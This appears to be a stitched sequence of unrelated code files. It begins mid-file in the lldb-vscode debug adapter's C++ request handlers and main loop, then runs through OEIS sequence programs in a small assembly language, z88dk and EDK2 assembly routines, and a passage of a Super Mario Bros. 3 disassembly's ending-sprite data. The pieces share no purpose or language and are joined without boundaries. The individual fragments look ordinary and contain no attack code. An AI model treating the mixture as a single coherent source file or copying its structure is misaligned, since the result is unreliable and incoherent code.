response; FillResponse(request, response); const uint32_t num_threads = process.GetNumThreads(); llvm::json::Array threads; for (uint32_t thread_idx = 0; thread_idx < num_threads; ++thread_idx) { lldb::SBThread thread = process.GetThreadAtIndex(thread_idx); threads.emplace_back(CreateThread(thread)); } if (threads.size() == 0) { response["success"] = llvm::json::Value(false); } llvm::json::Object body; body.try_emplace("threads", std::move(threads)); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "SetVariableRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "setVariable request; value of command field is // 'setVariable'. Set the variable with the given name in the variable // container to a new value.", "properties": { // "command": { // "type": "string", // "enum": [ "setVariable" ] // }, // "arguments": { // "$ref": "#/definitions/SetVariableArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "SetVariableArguments": { // "type": "object", // "description": "Arguments for 'setVariable' request.", // "properties": { // "variablesReference": { // "type": "integer", // "description": "The reference of the variable container." // }, // "name": { // "type": "string", // "description": "The name of the variable." // }, // "value": { // "type": "string", // "description": "The value of the variable." // }, // "format": { // "$ref": "#/definitions/ValueFormat", // "description": "Specifies details on how to format the response value." // } // }, // "required": [ "variablesReference", "name", "value" ] // }, // "SetVariableResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'setVariable' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "value": { // "type": "string", // "description": "The new value of the variable." // }, // "type": { // "type": "string", // "description": "The type of the new value. Typically shown in the // UI when hovering over the value." // }, // "variablesReference": { // "type": "number", // "description": "If variablesReference is > 0, the new value is // structured and its children can be retrieved by passing // variablesReference to the VariablesRequest." // }, // "namedVariables": { // "type": "number", // "description": "The number of named child variables. The client // can use this optional information to present the variables in a // paged UI and fetch them in chunks." // }, // "indexedVariables": { // "type": "number", // "description": "The number of indexed child variables. The client // can use this optional information to present the variables in a // paged UI and fetch them in chunks." // } // }, // "required": [ "value" ] // } // }, // "required": [ "body" ] // }] // } void request_setVariable(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); llvm::json::Array variables; llvm::json::Object body; auto arguments = request.getObject("arguments"); // This is a reference to the containing variable/scope const auto variablesReference = GetUnsigned(arguments, "variablesReference", 0); const auto name = GetString(arguments, "name"); const auto value = GetString(arguments, "value"); // Set success to false just in case we don't find the variable by name response.try_emplace("success", false); lldb::SBValue variable; int64_t newVariablesReference = 0; // The "id" is the unique integer ID that is unique within the enclosing // variablesReference. It is optionally added to any "interface Variable" // objects to uniquely identify a variable within an enclosing // variablesReference. It helps to disambiguate between two variables that // have the same name within the same scope since the "setVariables" request // only specifies the variable reference of the enclosing scope/variable, and // the name of the variable. We could have two shadowed variables with the // same name in "Locals" or "Globals". In our case the "id" absolute index // of the variable within the g_vsc.variables list. const auto id_value = GetUnsigned(arguments, "id", UINT64_MAX); if (id_value != UINT64_MAX) { variable = g_vsc.variables.GetValueAtIndex(id_value); } else if (VARREF_IS_SCOPE(variablesReference)) { // variablesReference is one of our scopes, not an actual variable it is // asking for a variable in locals or globals or registers int64_t start_idx = 0; int64_t end_idx = 0; switch (variablesReference) { case VARREF_LOCALS: start_idx = 0; end_idx = start_idx + g_vsc.num_locals; break; case VARREF_GLOBALS: start_idx = g_vsc.num_locals; end_idx = start_idx + g_vsc.num_globals; break; case VARREF_REGS: start_idx = g_vsc.num_locals + g_vsc.num_globals; end_idx = start_idx + g_vsc.num_regs; break; default: break; } // Find the variable by name in the correct scope and hope we don't have // multiple variables with the same name. We search backwards because // the list of variables has the top most variables first and variables // in deeper scopes are last. This means we will catch the deepest // variable whose name matches which is probably what the user wants. for (int64_t i = end_idx - 1; i >= start_idx; --i) { auto curr_variable = g_vsc.variables.GetValueAtIndex(i); llvm::StringRef variable_name(curr_variable.GetName()); if (variable_name == name) { variable = curr_variable; if (curr_variable.MightHaveChildren()) newVariablesReference = i; break; } } } else { // We have a named item within an actual variable so we need to find it // withing the container variable by name. const int64_t var_idx = VARREF_TO_VARIDX(variablesReference); lldb::SBValue container = g_vsc.variables.GetValueAtIndex(var_idx); variable = container.GetChildMemberWithName(name.data()); if (!variable.IsValid()) { if (name.startswith("[")) { llvm::StringRef index_str(name.drop_front(1)); uint64_t index = 0; if (!index_str.consumeInteger(0, index)) { if (index_str == "]") variable = container.GetChildAtIndex(index); } } } // We don't know the index of the variable in our g_vsc.variables if (variable.IsValid()) { if (variable.MightHaveChildren()) { newVariablesReference = VARIDX_TO_VARREF(g_vsc.variables.GetSize()); g_vsc.variables.Append(variable); } } } if (variable.IsValid()) { lldb::SBError error; bool success = variable.SetValueFromCString(value.data(), error); if (success) { SetValueForKey(variable, body, "value"); EmplaceSafeString(body, "type", variable.GetType().GetDisplayTypeName()); body.try_emplace("variablesReference", newVariablesReference); } else { EmplaceSafeString(body, "message", std::string(error.GetCString())); } response["success"] = llvm::json::Value(success); } response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "VariablesRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Variables request; value of command field is 'variables'. // Retrieves all child variables for the given variable reference. An // optional filter can be used to limit the fetched children to either named // or indexed children.", "properties": { // "command": { // "type": "string", // "enum": [ "variables" ] // }, // "arguments": { // "$ref": "#/definitions/VariablesArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "VariablesArguments": { // "type": "object", // "description": "Arguments for 'variables' request.", // "properties": { // "variablesReference": { // "type": "integer", // "description": "The Variable reference." // }, // "filter": { // "type": "string", // "enum": [ "indexed", "named" ], // "description": "Optional filter to limit the child variables to either // named or indexed. If ommited, both types are fetched." // }, // "start": { // "type": "integer", // "description": "The index of the first variable to return; if omitted // children start at 0." // }, // "count": { // "type": "integer", // "description": "The number of variables to return. If count is missing // or 0, all variables are returned." // }, // "format": { // "$ref": "#/definitions/ValueFormat", // "description": "Specifies details on how to format the Variable // values." // } // }, // "required": [ "variablesReference" ] // }, // "VariablesResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'variables' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "variables": { // "type": "array", // "items": { // "$ref": "#/definitions/Variable" // }, // "description": "All (or a range) of variables for the given // variable reference." // } // }, // "required": [ "variables" ] // } // }, // "required": [ "body" ] // }] // } void request_variables(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); llvm::json::Array variables; auto arguments = request.getObject("arguments"); const auto variablesReference = GetUnsigned(arguments, "variablesReference", 0); const int64_t start = GetSigned(arguments, "start", 0); const int64_t count = GetSigned(arguments, "count", 0); bool hex = false; auto format = arguments->getObject("format"); if (format) hex = GetBoolean(format, "hex", false); if (VARREF_IS_SCOPE(variablesReference)) { // variablesReference is one of our scopes, not an actual variable it is // asking for the list of args, locals or globals. int64_t start_idx = 0; int64_t num_children = 0; switch (variablesReference) { case VARREF_LOCALS: start_idx = start; num_children = g_vsc.num_locals; break; case VARREF_GLOBALS: start_idx = start + g_vsc.num_locals + start; num_children = g_vsc.num_globals; break; case VARREF_REGS: start_idx = start + g_vsc.num_locals + g_vsc.num_globals; num_children = g_vsc.num_regs; break; default: break; } const int64_t end_idx = start_idx + ((count == 0) ? num_children : count); for (auto i = start_idx; i < end_idx; ++i) { lldb::SBValue variable = g_vsc.variables.GetValueAtIndex(i); if (!variable.IsValid()) break; variables.emplace_back( CreateVariable(variable, VARIDX_TO_VARREF(i), i, hex)); } } else { // We are expanding a variable that has children, so we will return its // children. const int64_t var_idx = VARREF_TO_VARIDX(variablesReference); lldb::SBValue variable = g_vsc.variables.GetValueAtIndex(var_idx); if (variable.IsValid()) { const auto num_children = variable.GetNumChildren(); const int64_t end_idx = start + ((count == 0) ? num_children : count); for (auto i = start; i < end_idx; ++i) { lldb::SBValue child = variable.GetChildAtIndex(i); if (!child.IsValid()) break; if (child.MightHaveChildren()) { const int64_t var_idx = g_vsc.variables.GetSize(); auto childVariablesReferences = VARIDX_TO_VARREF(var_idx); variables.emplace_back( CreateVariable(child, childVariablesReferences, var_idx, hex)); g_vsc.variables.Append(child); } else { variables.emplace_back(CreateVariable(child, 0, INT64_MAX, hex)); } } } } llvm::json::Object body; body.try_emplace("variables", std::move(variables)); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // A request used in testing to get the details on all breakpoints that are // currently set in the target. This helps us to test "setBreakpoints" and // "setFunctionBreakpoints" requests to verify we have the correct set of // breakpoints currently set in LLDB. void request__testGetTargetBreakpoints(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); llvm::json::Array response_breakpoints; for (uint32_t i = 0; g_vsc.target.GetBreakpointAtIndex(i).IsValid(); ++i) { auto bp = g_vsc.target.GetBreakpointAtIndex(i); AppendBreakpoint(bp, response_breakpoints); } llvm::json::Object body; body.try_emplace("breakpoints", std::move(response_breakpoints)); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } const std::map<std::string, RequestCallback> &GetRequestHandlers() { #define REQUEST_CALLBACK(name) \ { #name, request_##name } static std::map<std::string, RequestCallback> g_request_handlers = { // VSCode Debug Adaptor requests REQUEST_CALLBACK(attach), REQUEST_CALLBACK(completions), REQUEST_CALLBACK(continue), REQUEST_CALLBACK(configurationDone), REQUEST_CALLBACK(disconnect), REQUEST_CALLBACK(evaluate), REQUEST_CALLBACK(exceptionInfo), REQUEST_CALLBACK(initialize), REQUEST_CALLBACK(launch), REQUEST_CALLBACK(next), REQUEST_CALLBACK(pause), REQUEST_CALLBACK(scopes), REQUEST_CALLBACK(setBreakpoints), REQUEST_CALLBACK(setExceptionBreakpoints), REQUEST_CALLBACK(setFunctionBreakpoints), REQUEST_CALLBACK(setVariable), REQUEST_CALLBACK(source), REQUEST_CALLBACK(stackTrace), REQUEST_CALLBACK(stepIn), REQUEST_CALLBACK(stepOut), REQUEST_CALLBACK(threads), REQUEST_CALLBACK(variables), // Testing requests REQUEST_CALLBACK(_testGetTargetBreakpoints), }; #undef REQUEST_CALLBACK return g_request_handlers; } } // anonymous namespace static void printHelp(LLDBVSCodeOptTable &table, llvm::StringRef tool_name) { std::string usage_str = tool_name.str() + "options"; table.PrintHelp(llvm::outs(), usage_str.c_str(), "LLDB VSCode", false); std::string examples = R"___( EXAMPLES: The debug adapter can be started in two modes. Running lldb-vscode without any arguments will start communicating with the parent over stdio. Passing a port number causes lldb-vscode to start listening for connections on that port. lldb-vscode -p <port> Passing --wait-for-debugger will pause the process at startup and wait for a debugger to attach to the process. lldb-vscode -g )___"; llvm::outs() << examples; } int main(int argc, char *argv[]) { // Initialize LLDB first before we do anything. lldb::SBDebugger::Initialize(); int portno = -1; LLDBVSCodeOptTable T; unsigned MAI, MAC; llvm::ArrayRef<const char *> ArgsArr = llvm::makeArrayRef(argv + 1, argc); llvm::opt::InputArgList input_args = T.ParseArgs(ArgsArr, MAI, MAC); if (input_args.hasArg(OPT_help)) { printHelp(T, llvm::sys::path::filename(argv[0])); return 0; } if (auto *arg = input_args.getLastArg(OPT_port)) { auto optarg = arg->getValue(); char *remainder; portno = strtol(optarg, &remainder, 0); if (remainder == optarg || *remainder != '\0') { fprintf(stderr, "'%s' is not a valid port number.\n", optarg); exit(1); } } #if !defined(_WIN32) if (input_args.hasArg(OPT_wait_for_debugger)) { printf("Paused waiting for debugger to attach (pid = %i)...\n", getpid()); pause(); } #endif if (portno != -1) { printf("Listening on port %i...\n", portno); SOCKET socket_fd = AcceptConnection(portno); if (socket_fd >= 0) { g_vsc.input.descriptor = StreamDescriptor::from_socket(socket_fd, true); g_vsc.output.descriptor = StreamDescriptor::from_socket(socket_fd, false); } else { exit(1); } } else { g_vsc.input.descriptor = StreamDescriptor::from_file(fileno(stdin), false); g_vsc.output.descriptor = StreamDescriptor::from_file(fileno(stdout), false); } auto request_handlers = GetRequestHandlers(); uint32_t packet_idx = 0; while (true) { std::string json = g_vsc.ReadJSON(); if (json.empty()) break; llvm::StringRef json_sref(json); llvm::Expected<llvm::json::Value> json_value = llvm::json::parse(json_sref); if (!json_value) { auto error = json_value.takeError(); if (g_vsc.log) { std::string error_str; llvm::raw_string_ostream strm(error_str); strm << error; strm.flush(); *g_vsc.log << "error: failed to parse JSON: " << error_str << std::endl << json << std::endl; } return 1; } auto object = json_value->getAsObject(); if (!object) { if (g_vsc.log) *g_vsc.log << "error: json packet isn't a object" << std::endl; return 1; } const auto packet_type = GetString(object, "type"); if (packet_type == "request") { const auto command = GetString(object, "command"); auto handler_pos = request_handlers.find(std::string(command)); if (handler_pos != request_handlers.end()) { handler_pos->second(*object); } else { if (g_vsc.log) *g_vsc.log << "error: unhandled command \"" << command.data() << std::endl; return 1; } } ++packet_idx; } // We must terminate the debugger in a thread before the C++ destructor // chain messes everything up. lldb::SBDebugger::Terminate(); return 0; }
; A159508: Numerator of Hermite(n, 3/14). ; Submitted by Simon Strandgaard ; 1,3,-89,-855,23601,405963,-10346601,-269746047,6288530145,230346491283,-4855444114041,-240305893799463,4513251073537809,296139484328781915,-4861463414700822921,-420887762743191256143,5883687931380635925441,677603075775465797408547,-7769414866353742059559065,-1218600070266982892807354103,10810850270349719036476916721,2420888688534335627011844792043,-14986063790776714896033960235689,-5264394203852357756525639252351775,17985405172853642106083628614187681,12435811382979306369666554407373937843 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 mul $2,3 mul $3,-196 mul $3,$0 div $3,2 lpe mov $0,$1
; slbb0_checkindex ; 08.2009 aralbrec PUBLIC slbb0_checkindex ; check if an index value points to data within the buffer ; ; enter : hl = & struct slbb ; a = index ; exit : carry set = in bounds index ; carry reset = out of bounds index ; z set = one past end of data in buffer ; uses : f .slbb0_checkindex cp (hl) ret
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; EnableDisableInterrupts.Asm ; ; Abstract: ; ; EnableDisableInterrupts function ; ; Notes: ; ;------------------------------------------------------------------------------ .386p .model flat .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; EnableDisableInterrupts ( ; VOID ; ); ;------------------------------------------------------------------------------ _EnableDisableInterrupts PROC sti cli ret _EnableDisableInterrupts ENDP END
; ; z88dk RS232 Function ; ; OSCA version ; ; unsigned char rs232_params(unsigned char param, unsigned char parity) ; ; Specify the serial interface parameters ; ; $Id: rs232_params.asm,v 1.2 2015/01/22 12:09:57 stefano Exp $ PUBLIC rs232_params INCLUDE "osca.def" rs232_params: pop bc pop hl pop de push de push hl push bc ; ; handle parity xor a cp l jr nz,parityset ; no parity ? ld hl,1 ; RS_ERR_NOT_INITIALIZED ret ; sorry, MARK/SPACE options ; not available parityset: ; handle bits number ld a,$f0 ; mask bit related flags and l jr z,noextra ld hl,1 ; RS_ERR_NOT_INITIALIZED ret noextra: ; baud rate ld a,$0f and e cp $0d jr z,avail cp $0e jr z,avail ld hl,3 ; RS_ERR_BAUD_NOT_AVAIL ret avail: sub $0d ; 0=57600; 1=115200 out (sys_baud_rate),a ld hl,0 ; RS_ERR_OK ret
; A265078: Partial sums of A072154. ; 1,4,9,16,25,37,52,69,88,109,133,160,189,220,253,289,328,369,412,457,505,556,609,664,721,781,844,909,976,1045,1117,1192,1269,1348,1429,1513,1600,1689,1780,1873,1969,2068,2169,2272,2377,2485,2596,2709,2824,2941,3061,3184,3309,3436,3565,3697,3832,3969,4108,4249,4393,4540,4689,4840,4993,5149,5308,5469,5632,5797,5965,6136,6309,6484,6661,6841,7024,7209,7396,7585,7777,7972,8169,8368,8569,8773,8980,9189,9400,9613,9829,10048,10269,10492,10717,10945,11176,11409,11644,11881,12121,12364,12609,12856,13105,13357,13612,13869,14128,14389,14653,14920,15189,15460,15733,16009,16288,16569,16852,17137,17425,17716,18009,18304,18601,18901,19204,19509,19816,20125,20437,20752,21069,21388,21709,22033,22360,22689,23020,23353,23689,24028,24369,24712,25057,25405,25756,26109,26464,26821,27181,27544,27909,28276,28645,29017,29392,29769,30148,30529,30913,31300,31689,32080,32473,32869,33268,33669,34072,34477,34885,35296,35709,36124,36541,36961,37384,37809,38236,38665,39097,39532,39969,40408,40849,41293,41740,42189,42640,43093,43549,44008,44469,44932,45397,45865,46336,46809,47284,47761,48241,48724,49209,49696,50185,50677,51172,51669,52168,52669,53173,53680,54189,54700,55213,55729,56248,56769,57292,57817,58345,58876,59409,59944,60481,61021,61564,62109,62656,63205,63757,64312,64869,65428,65989,66553,67120,67689,68260,68833,69409,69988,70569,71152,71737,72325,72916,73509,74104,74701 mov $1,3 add $1,$0 pow $1,2 div $1,5 mov $2,$0 mul $2,$0 add $1,$2
; Super Mario Bros. 3 Full Disassembly by Southbird 2012 ; For more info, see http://www.sonicepoch.com/sm3mix/ ; ; PLEASE INCLUDE A CREDIT TO THE SOUTHBIRD DISASSEMBLY ; AND THE ABOVE LINK SOMEWHERE IN YOUR WORKS :) ; ; Original disassembler source generated by DCC6502 version v1.4 ; (With labels, comments, and some syntax corrections for nesasm by Southbird) ; For more info about DCC6502, e-mail veilleux@ameth.org ; ; This source file last updated: 2012-03-25 13:37:28.828970596 -0500 ; Distribution package date: Fri Apr 6 23:46:16 UTC 2012 ;--------------------------------------------------------------------------- ; Ending Sprite list continued from PRG024 ... .byte $01, $28 .byte $4F, $B7, $01, $20 .byte $57, $B5, $01, $18 .byte $6F, $01, $00, $D8 .byte $6F, $01, $40, $E0 .byte $7F, $03, $00, $D8 .byte $7F, $03, $40, $E0 Ending2_EndPicSprites3_End Ending2_EndPicSprites4: .byte $21, $81, $01, $70 .byte $21, $83, $01, $78 .byte $21, $85, $01, $80 .byte $31, $87, $01, $70 .byte $31, $89, $01, $78 .byte $31, $41, $01, $80 .byte $31, $43, $01, $88 .byte $31, $45, $01, $90 .byte $3F, $47, $01, $20 .byte $3F, $49, $01, $28 .byte $3F, $4B, $01, $30 .byte $3F, $4D, $01, $38 Ending2_EndPicSprites4_End Ending2_EndPicSprites5: .byte $69, $29, $00, $B0 .byte $69, $2B, $00, $B8 .byte $79, $01, $00, $B0 .byte $79, $03, $00, $B8 .byte $79, $05, $00, $C0 .byte $A1, $53, $02, $B8 .byte $A1, $55, $02, $C0 .byte $B1, $57, $02, $B8 .byte $B1, $59, $02, $C0 .byte $99, $61, $01, $D0 .byte $99, $63, $01, $D8 .byte $A9, $65, $01, $D0 .byte $A9, $67, $01, $D8 Ending2_EndPicSprites5_End Ending2_EndPicSprites6: .byte $69, $19, $40, $20 .byte $69, $27, $40, $28 .byte $79, $1F, $40, $20 .byte $79, $1D, $40, $28 .byte $79, $1B, $40, $30 .byte $61, $A7, $41, $58 .byte $61, $AF, $41, $50 .byte $A9, $D3, $02, $70 .byte $A9, $D5, $02, $78 .byte $A9, $5B, $01, $A0 .byte $A9, $5D, $01, $A8 Ending2_EndPicSprites6_End Ending2_EndPicSprites7: .byte $41, $F1, $02, $D8 .byte $41, $F3, $02, $E0 .byte $51, $E3, $01, $D8 .byte $51, $E3, $41, $E0 .byte $51, $67, $42, $C8 .byte $61, $65, $02, $B8 .byte $79, $65, $42, $A8 .byte $89, $37, $40, $A8 .byte $89, $35, $40, $B0 Ending2_EndPicSprites7_End Ending2_EndPicSprites8: .byte $79, $03, $40, $28 .byte $79, $01, $40, $30 .byte $89, $07, $40, $28 .byte $89, $05, $40, $30 .byte $99, $51, $02, $50 .byte $99, $5F, $02, $58 .byte $90, $69, $01, $B0 .byte $90, $6B, $01, $B8 .byte $90, $6D, $01, $C0 .byte $90, $6F, $01, $C8 .byte $A0, $71, $01, $B0 .byte $A0, $73, $01, $B8 .byte $A0, $75, $01, $C0 .byte $A0, $77, $01, $C8 .byte $B0, $79, $01, $B0 .byte $B0, $7B, $01, $B8 .byte $B0, $7D, $01, $C0 .byte $B0, $7F, $01, $C8 Ending2_EndPicSprites8_End ; Split address, parallel tables for the starting address of the end picture for each world EndPicByWorld_H:.byte HIGH(EndPic_World1), HIGH(EndPic_World2), HIGH(EndPic_World3), HIGH(EndPic_World4) .byte HIGH(EndPic_World5), HIGH(EndPic_World6), HIGH(EndPic_World7), HIGH(EndPic_World8) EndPicByWorld_L:.byte LOW(EndPic_World1), LOW(EndPic_World2), LOW(EndPic_World3), LOW(EndPic_World4) .byte LOW(EndPic_World5), LOW(EndPic_World6), LOW(EndPic_World7), LOW(EndPic_World8) ; $C0 bytes are expected to be loaded into the Ending_CmdBuffer buffer. ; The EndPics are mostly raw with a simple compression, specifically if ; bit 7 is set, that byte is duplicated once in the buffer, sans bit 7. ; So for example: ; The value $70 inserts $70 once ; The value $F1 inserts $71 twice EndPic_World1: .byte $70, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $72, $73, $BF, $3F, $00, $04, $06, $04 .byte $00, $04, $00, $04, $06, $BF, $73, $73, $BF, $3F, $05, $BF, $3F, $05, $BF, $3F .byte $05, $BF, $73, $73, $04, $0E, $04, $07, $BF, $3F, $63, $04, $00, $04, $0A, $BF .byte $73, $73, $BF, $3F, $0B, $BF, $3F, $05, $BF, $BF, $BF, $73, $73, $BF, $3F, $63 .byte $04, $62, $04, $10, $BF, $38, $44, $39, $3F, $73, $73, $3F, $D5, $05, $55, $BF .byte $3F, $38, $44, $49, $3D, $3C, $3F, $73, $73, $D5, $65, $63, $65, $0A, $04, $06 .byte $1E, $06, $04, $3E, $3C, $3F, $73, $73, $55, $E5, $05, $E5, $55, $05, $3C, $D5 .byte $55, $3C, $3F, $73, $73, $55, $E5, $00, $04, $06, $04, $00, $48, $C4, $44, $49 .byte $3F, $73, $73, $D5, $D5, $D5, $D5, $D5, $D5, $D5, $73, $74, $F1, $F1, $F1, $F1 .byte $F1, $F1, $F1, $75 EndPic_World2: .byte $70, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $72, $73, $35, $03, $04, $06, $5C, $0A .byte $04, $06, $04, $00, $04, $06, $65, $2F, $73, $73, $66, $05, $66, $05, $2F, $55 .byte $02, $05, $E5, $65, $05, $E5, $73, $73, $66, $63, $5C, $00, $04, $06, $04, $66 .byte $E6, $65, $63, $2F, $65, $73, $73, $0C, $05, $66, $05, $66, $66, $66, $05, $66 .byte $3D, $66, $05, $2F, $65, $73, $73, $04, $07, $04, $07, $04, $1F, $5C, $63, $66 .byte $3E, $66, $63, $66, $65, $73, $73, $66, $AF, $05, $66, $E6, $05, $0C, $05, $0C .byte $05, $66, $66, $73, $73, $66, $65, $2F, $63, $65, $06, $5C, $00, $66, $63, $04 .byte $0C, $E6, $73, $73, $E5, $AF, $2F, $05, $66, $05, $2F, $E6, $05, $E6, $73, $73 .byte $66, $E5, $66, $2F, $10, $04, $07, $04, $06, $04, $07, $E6, $73, $73, $E6, $E6 .byte $E6, $E6, $E6, $E6, $E6, $73, $74, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $75 EndPic_World3: .byte $70, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $72, $73, $04, $0A, $AF, $23, $E7, $E7 .byte $6B, $B4, $17, $67, $73, $73, $2F, $5C, $13, $14, $27, $E7, $E7, $25, $BF, $23 .byte $67, $73, $73, $94, $27, $E7, $E7, $E7, $25, $5C, $3F, $23, $67, $73, $73, $E7 .byte $E7, $E7, $E7, $67, $31, $44, $3B, $27, $67, $73, $73, $E7, $E7, $6B, $B4, $B4 .byte $35, $3F, $23, $E7, $73, $73, $E7, $6B, $34, $37, $5C, $BF, $3D, $3F, $3F, $23 .byte $E7, $73, $73, $E7, $25, $3F, $21, $44, $2D, $39, $3E, $04, $06, $4E, $1F, $67 .byte $73, $73, $E7, $25, $3F, $3C, $3F, $5C, $46, $94, $14, $27, $E7, $73, $73, $E7 .byte $26, $14, $30, $94, $27, $E7, $E7, $E7, $73, $73, $E7, $E7, $E7, $E7, $E7, $E7 .byte $E7, $73, $74, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $75 EndPic_World4: .byte $70, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $72, $73, $E7, $E7, $E7, $E7, $E7, $6B .byte $B4, $34, $73, $73, $34, $34, $20, $34, $17, $E7, $67, $6B, $34, $35, $52, $55 .byte $52, $73, $73, $04, $0E, $1E, $1F, $23, $67, $6B, $34, $35, $0A, $04, $00, $04 .byte $06, $73, $73, $14, $1A, $30, $3A, $32, $6B, $35, $3D, $D2, $38, $22, $12, $44 .byte $73, $73, $67, $4C, $67, $26, $27, $25, $55, $3E, $04, $06, $3C, $07, $1E, $62 .byte $73, $73, $6B, $1B, $17, $67, $6B, $41, $6A, $55, $D2, $48, $22, $11, $44, $73 .byte $73, $25, $1F, $23, $67, $26, $27, $31, $44, $45, $10, $04, $00, $04, $06, $73 .byte $73, $35, $2F, $33, $17, $E7, $25, $52, $55, $52, $13, $94, $14, $73, $73, $55 .byte $AF, $33, $B4, $4A, $C4, $44, $4B, $B4, $34, $73, $73, $D5, $D5, $D5, $D5, $D5 .byte $D5, $D5, $73, $74, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $75 EndPic_World5: .byte $70, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $72, $73, $BF, $BF, $47, $43, $A4, $A4 .byte $53, $D5, $0A, $73, $73, $BF, $BF, $42, $A4, $A4, $24, $53, $D5, $05, $73, $73 .byte $B6, $B6, $43, $24, $50, $1F, $D1, $59, $03, $04, $00, $73, $73, $A4, $A4, $50 .byte $51, $59, $05, $D5, $55, $05, $55, $05, $73, $73, $A4, $50, $51, $59, $03, $0B .byte $07, $04, $00, $04, $07, $55, $10, $73, $73, $D1, $59, $D5, $05, $D5, $D5, $D5 .byte $55, $05, $73, $73, $D5, $55, $10, $04, $07, $04, $62, $04, $06, $04, $00, $04 .byte $07, $73, $73, $55, $3D, $D5, $D5, $55, $05, $55, $05, $D5, $55, $05, $73, $73 .byte $55, $3E, $04, $06, $04, $00, $04, $00, $55, $63, $04, $0A, $04, $00, $73, $73 .byte $DC, $DC, $DC, $DC, $DC, $DC, $DC, $73, $74, $F1, $F1, $F1, $F1, $F1, $F1, $F1 .byte $75 EndPic_World6: .byte $70, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $72, $73, $60, $55, $33, $B4, $17, $67 .byte $6B, $34, $17, $E7, $E7, $73, $73, $6A, $D5, $D5, $33, $17, $25, $60, $23, $E7 .byte $E7, $73, $73, $00, $04, $06, $04, $06, $55, $23, $26, $14, $27, $6B, $B4, $17 .byte $73, $73, $05, $38, $44, $39, $05, $55, $33, $20, $34, $20, $35, $3F, $3D, $23 .byte $73, $73, $07, $3C, $62, $1E, $07, $0B, $06, $1E, $06, $1E, $06, $04, $3E, $23 .byte $73, $73, $05, $48, $44, $49, $05, $02, $13, $30, $14, $30, $6A, $3F, $5C, $23 .byte $73, $73, $63, $04, $06, $04, $00, $60, $33, $17, $E7, $26, $94, $27, $73, $73 .byte $E0, $E0, $E0, $60, $33, $17, $E7, $E7, $67, $73, $73, $3F, $E0, $E0, $E0, $60 .byte $33, $B4, $B4, $34, $73, $73, $DC, $DC, $DC, $DC, $DC, $DC, $DC, $73, $74, $F1 .byte $F1, $F1, $F1, $F1, $F1, $F1, $75 EndPic_World7: .byte $70, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $72, $73, $34, $20, $34, $17, $6B, $B4 .byte $B4, $B4, $20, $34, $17, $73, $73, $10, $4F, $00, $23, $25, $00, $04, $06, $04 .byte $1F, $1D, $3C, $1D, $23, $73, $73, $1D, $3C, $05, $23, $25, $05, $9D, $1D, $05 .byte $1D, $3C, $1F, $23, $73, $73, $1F, $3C, $1F, $23, $25, $10, $04, $06, $04, $00 .byte $04, $0A, $1D, $23, $73, $73, $12, $11, $3B, $27, $26, $3A, $44, $22, $C4, $12 .byte $44, $3B, $27, $73, $73, $4F, $1F, $23, $E7, $1F, $0B, $00, $04, $06, $4F, $62 .byte $23, $67, $73, $73, $3C, $05, $23, $E7, $25, $52, $3D, $52, $5C, $3C, $05, $23 .byte $67, $73, $73, $3C, $0A, $23, $E7, $25, $5C, $3E, $04, $06, $1E, $07, $23, $67 .byte $73, $73, $11, $44, $4B, $B4, $4A, $C4, $C4, $11, $44, $4B, $34, $73, $73, $DC .byte $DC, $DC, $DC, $DC, $DC, $DC, $73, $74, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $75 EndPic_World8: .byte $70, $F1, $F1, $F1, $F1, $F1, $F1, $F1, $72, $73, $AA, $AA, $AA, $AA, $AA, $AA .byte $AA, $73, $73, $AA, $AA, $AA, $AA, $AA, $AA, $AA, $73, $73, $0F, $AA, $2A, $0F .byte $AA, $AA, $0F, $AA, $2A, $0F, $73, $73, $2E, $D4, $54, $68, $D4, $D4, $68, $D4 .byte $54, $2E, $73, $73, $2E, $5B, $2B, $5B, $2B, $5B, $2B, $5B, $2B, $DB, $6C, $6D .byte $2E, $73, $73, $2E, $1F, $61, $69, $0B, $69, $61, $69, $61, $69, $61, $6E, $6F .byte $2E, $73, $73, $0F, $D4, $54, $0F, $D4, $D4, $0F, $D4, $54, $0F, $73, $73, $9C .byte $9C, $9C, $9C, $9C, $9C, $9C, $73, $73, $AA, $AA, $AA, $AA, $AA, $AA, $AA, $73 .byte $73, $AA, $AA, $AA, $AA, $AA, $AA, $AA, $73, $74, $F1, $F1, $F1, $F1, $F1, $F1 .byte $F1, $75 ; Split address, parallel tables for the starting VRAM 